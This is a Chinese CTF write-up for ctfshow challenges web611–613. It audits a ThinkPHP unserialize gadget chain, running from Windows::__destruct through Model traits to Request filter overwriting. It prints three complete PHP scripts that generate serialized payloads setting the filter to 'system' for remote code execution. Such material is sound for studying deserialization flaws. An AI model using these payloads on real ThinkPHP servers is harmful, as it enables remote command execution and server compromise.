ctfshow的thinkphp专题(续集一)

TP

之前那篇终于是写完了 ,但是由于原因(上篇文章里),所以来开续集

web611

网上github下载到源码 gayhub上的源码 然后把thinkphp文件夹换到刚才审计非强制路由的源码里面就可以快乐审计了,把application/index/controller/Index.php改成

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
namespace app\index\controller;

class Index
{
    public function index()
    {

        if(isset($_POST['data'])){
            @unserialize($_POST['data']);
        }
        highlight_string(file_get_contents(__FILE__));
    }
}

开始审计,首先是最开始thinkphp/library/think/process/pipes/Windows.php__destruct()

1

close()方法什么都没有,但是removeFiles()file_exists($filename)可以触发__toString()

1

thinkphp/library/think/model/concern/Conversion.php的方法才可以用

1

1

触发$this->toArray(),我们要让触发下一个方法,但是看了整个代码,也只有这里是参数可控的,才有可能往外走

1

跟进thinkphp/library/think/model/concern/RelationShip.phpgetRelation,发现恒定返回null值

1

出来之后就还会进入thinkphp/library/think/model/concern/Attribute.phpgetAttr(),然后getData()

1

1

那么得知$this->data[$name]的值就是$relation,并且看到这个类Attributetrait,而不是class

自 PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为 trait。通过在类中使用use 关键字,声明要组合的Trait名称。所以,这里类的继承要使用use关键字。

这些方法我们都要使用,那我们就需要一个类同时继承了Attribute类和Conversion类。在\thinkphp\library\think\Model.php中找到这样一个类Model

1

并且由于不存在visible方法,所以能触发__call,找到thinkphp/library/think/Request.php的可以进行利用

1

array_unshift将当前对象实例$this插入参数数组$args的开头,那就不好直接调函数来RCE了,因为可控参数不够,但是我们可以采取覆盖filter的方法

1

那就可以狠狠调用了,但是值又是不可控的,我们传不进去,找哪里调用了这个函数,开始反向寻找

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 获取原始数据
            return $data;
        }

        $name = (string) $name;
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            }

            $data = $this->getData($data, $name);

            if (is_null($data)) {
                return $default;
            }

            if (is_object($data)) {
                return $data;
            }
        }

        // 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            if (version_compare(PHP_VERSION, '7.1.0', '<')) {
                // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
                $this->arrayReset($data);
            }
        } else {
            $this->filterValue($data, $name, $filter);
        }

        if (isset($type) && $data !== $default) {
            // 强制类型转换
            $this->typeCast($data, $type);
        }

        return $data;
    }

input可以调用,继续反向寻找

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public function param($name = '', $default = null, $filter = '')
    {
        if (!$this->mergeParam) {
            $method = $this->method(true);

            // 自动获取请求变量
            switch ($method) {
                case 'POST':
                    $vars = $this->post(false);
                    break;
                case 'PUT':
                case 'DELETE':
                case 'PATCH':
                    $vars = $this->put(false);
                    break;
                default:
                    $vars = [];
            }

            // 当前请求参数和URL地址中的参数合并
            $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

            $this->mergeParam = true;
        }

        if (true === $name) {
            // 获取包含文件上传信息的数组
            $file = $this->file();
            $data = is_array($file) ? array_merge($this->param, $file) : $this->param;

            return $this->input($data, '', $default, $filter);
        }

        return $this->input($this->param, $name, $default, $filter);
    }

还是不可控,继续

1

哇达西,这就是金色传说,就可以从config里面去控制来赋值回去,input$data = $this->getData($data, $name);这里我们要跟进一下,看看

1

会进行一个嵌套赋值,再跟进一下getFilter函数来看看

1

array_walk_recursive($data, [$this, 'filterValue'], $filter);会到filterValue(),主要就是看赋值是怎么来的,filterValue.value的值为第一个通过GET请求的值,而filters.keyGET请求的键,并且filters.filters就等于input.filters的值。

由于Model类是抽象类所以我们只能再找个子类才能实例化,thinkphp/library/think/model/Pivot.php中的Pivot

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
namespace think;
abstract class Model{
    protected $append=[];
    private $data=[];
    function __construct(){
        $this->append=["a"=>["a","a"]];
        $this->data=["a"=>new Request()];
    }
}
class Request{
    protected $hook=[];
    protected $filter=[];
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter="system";
        $this->config=["var_ajax"=>""];
        $this->hook=["visible"=>[$this,"isAjax"]];
    }
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows{
    private $files=[];
    public function __construct(){
        $this->files=[new Pivot()];
    }
}
namespace think\model;
use think\Model;
class Pivot extends Model{}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

web612

发现链子不通了,我们找一条类似的,发现其实就是最后的地方不对了

1

找到一个类似的方法,稍微改一下就可以了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
namespace think;
abstract class Model{
    protected $append=[];
    private $data=[];
    function __construct(){
        $this->append=["a"=>["a","a"]];
        $this->data=["a"=>new Request()];
    }
}
class Request{
    protected $hook=[];
    protected $filter=[];
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter="system";
        $this->config=["var_pjax"=>""];
        $this->hook=["visible"=>[$this,"isPjax"]];
    }
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows{
    private $files=[];
    public function __construct(){
        $this->files=[new Pivot()];
    }
}
namespace think\model;
use think\Model;
class Pivot extends Model{}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

web613

我们直接再找一个触发input的方法就可以了

1

这条链子可以打到底了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
namespace think;
abstract class Model{
    protected $append=[];
    private $data=[];
    function __construct(){
        $this->append=["a"=>["a","a"]];
        $this->data=["a"=>new Request()];
    }
}
class Request{
    protected $hook=[];
    protected $filter=[];
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter="system";
        $this->config=["var_pjax"=>""];
        $this->hook=["visible"=>[$this,"request"]];
    }
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows{
    private $files=[];
    public function __construct(){
        $this->files=[new Pivot()];
    }
}
namespace think\model;
use think\Model;
class Pivot extends Model{}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

小结

好难啊,真的好难,但是还是坚持下来了,我的待审是一坨,上次SUCTF的短的Cakephp给我打出自信来了

赞赏支持

Licensed under CC BY-NC-SA 4.0